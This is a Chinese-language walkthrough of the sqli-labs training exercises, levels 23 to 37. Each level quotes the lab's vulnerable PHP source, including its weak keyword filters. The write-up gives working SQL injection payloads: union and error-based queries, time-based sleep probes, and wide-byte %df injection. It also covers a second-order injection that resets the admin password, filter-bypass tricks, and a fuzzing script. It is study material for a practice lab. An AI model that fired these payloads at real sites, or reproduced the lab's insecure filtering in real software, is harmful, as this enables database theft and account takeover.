Lession23
$id=$_GET['id'];
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
过滤了#
和--
,那么我们可以闭合引号结合mysql报错来进行注入
http://192.168.0.29/sqli-labs/Less-23/?id=-1' union select 1,database(),3 or ‘1’=’1
http://192.168.0.29/sqli-labs/Less-23/?id=-1'union select 1,(select current_user()),’3
http://192.168.0.29/sqli-labs/Less-23/?id=1'or extractvalue(1,concat(0x7e,database())) or ‘1’=’1
Lession24
首先练习环境有问题,我们需要先改一下登录页面的文件,删掉大小为1KB的logged-in.php,留下大小为2KB的logged-in.php就可以了。
这一关考察的是mysql二次注入。简单解释一下二次注入,攻击者将构造好的SQL语句写入目标数据库,然后在通过目标web应用提供的某些功能,来执行该SQL语句,从而达到增删改查数据库信息的效果。举个例子,假如一个商城提供用户注册和密码找回功能,攻击者先注册一个包含有SQL语句的用户名,然后再使用密码找回功能,修改密码,这时,数据库必定会查询该用户的基本信息(使用到用户名,而用户名又带有SQL语句),这时就会执行攻击者构造的SQL语句了。
我们直接来看看这道题目,先查看最初状态下,数据库中的用户有哪些
假设我们要攻击admin用户,先注册一个admin’#账号,密码为test
注册成功后,再次查看数据库用户记录,发现确实多了一条admin’#的账户记录
我们用账号:admin’# 密码:test登录,发现页面提供了修改密码的功能。我们试一下把密码改成hackyou
神奇的一幕发生了,admin的密码被修改了,而没有去修改admin’#用户的密码。
我们来看看后台代码是怎么写的就明白了
......
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
......
}
看到SQL语句,我们就清楚的知道发生了什么,我们用户名为admin’#,密码为hackyou,所以当我们提交修改密码的表单时,sql语句就变成了
UPDATE users SET PASSWORD=’hackyou’ where username=’admin’#’ and password=’test’
PS:(#号表示注释,所以只会执行#号之前的语句)
在CTF赛事中也经常会考到二次注入,具体可看:
(2017广东省强网杯Web全解)[http://mochazz.oschina.io/2017/09/11/QWBCTF/#第三题]
Lession25
这关过滤了and和or(包括大小写),关键代码如下
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
return $id;
}
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
可以使用双写关键字绕过
或者使用&&代替and、||代替or
本来用%00或者/**/插在被过滤的关键字中间也可以绕过,但是这里不知道什么原因不行。
我还写了一个fuzz脚本来进行模糊测试,但是一个都没成功,哈哈,这里还是贴出我的fuzz脚本
import requests
for i in range(0,256):
url = '''http://192.168.0.29/sqli-labs/Less-25/?id=1' o{}rder by 3--+'''
fuzz = "%" + str("%02x" % i)
url = url.format(fuzz)
print("Test for " + fuzz)
r = requests.get(url)
if "Dumb" in r.text:
print("#"*50)
print("Congratulations! " + fuzz + "is OK for SQL injection.")
print("#"*50)
贴一篇国外总结过WAF的文章:
(SQL_Injection_Bypassing_WAF)[ https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF]
Lession25a
这关只是把报错语句注释掉了,可以使用延时注入,延长的时间和数据库中的记录个数有关,延时注入payload如下
http://192.168.0.29/sqli-labs/Less-25a/?id=0%20oorr%20if(length(database())=7,1,sleep(1))#
联合查询payload
http://192.168.0.29/sqli-labs/Less-25a/?id=-1%20union%20select%201,database(),version()#
Lession26
查看源代码可知,这一关在前面的基础上过滤了or、and、/、*、–、#、\、所有空格字符,代码入下
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/and/i',"", $id);
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[\s]/',"", $id);
$id= preg_replace('/[\/\\\\]/',"", $id);
return $id;
}
可以使用以下字符代替空格
%09 TAB键(水平)
%0a 新建一行
%0b TAB键(垂直)
%0c 新的一页
%0d return功能
%a0 空格
Lession26a
26关SQL查询语句如下,还关闭了mysql报错,使用联合查询即可。
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
//print_r(mysql_error());
Lession27
在之前的关卡上过滤了union和select,使用双写或者大小写绕过均可。
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
Lession28-28a
没什么好说的,和前面差不多。
Lession29-31
这一部分训练的是HPP(HTTP Parameter Pollution),俗称HTTP参数污染。
开始看这题并没有发现index.php有WAF,后来发现原来是index.jsp用了WAF,关键代码如下。
<%
String id = request.getParameter("id");
String qs = request.getQueryString();
String rex = "^\\d+$";
Boolean match=id.matches(rex);
if(match == true)
{
URL sqli_labs = new URL("http://localhost/sqli-labs/Less-29/index.php?"+ qs);
URLConnection sqli_labs_connection = sqli_labs.openConnection();
}
%>
Lession32-37
这一部分训练的是宽字节注入,可以发现一些特殊符号被转义了。
mysql在使用GBK编码的时候,会认为两个字符为一个汉字。所以我们可以使用一些字符和转义以后多出来的\符号结合成汉字,这样我们的单引号就又起作用了。
192.168.2.154/sqli-labs/Less-32/?id=-1%df’ union select 1,user(),version()–+
源代码关键部分如下
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
$string = preg_replace('/\'/i', '\\\'', $string);
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
33关使用addslashes()函数实现和上面函数一样的功能。
$string = addslashes($string);
34关和前两关没区别,只是请求方式改成POST
35直接注入,不需要单引号
36关换成用mysql_real_escape_string()函数来过滤
$string = mysql_real_escape_string($string);
下列字符受影响:
\x00 \n \r \ ' " \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回false。
http://192.168.1.154/sqli-labs/Less-36/?id=1%df' order by 4–+
37关换成了POST形式,用的还是mysql_real_escape_string()函数来过滤参数。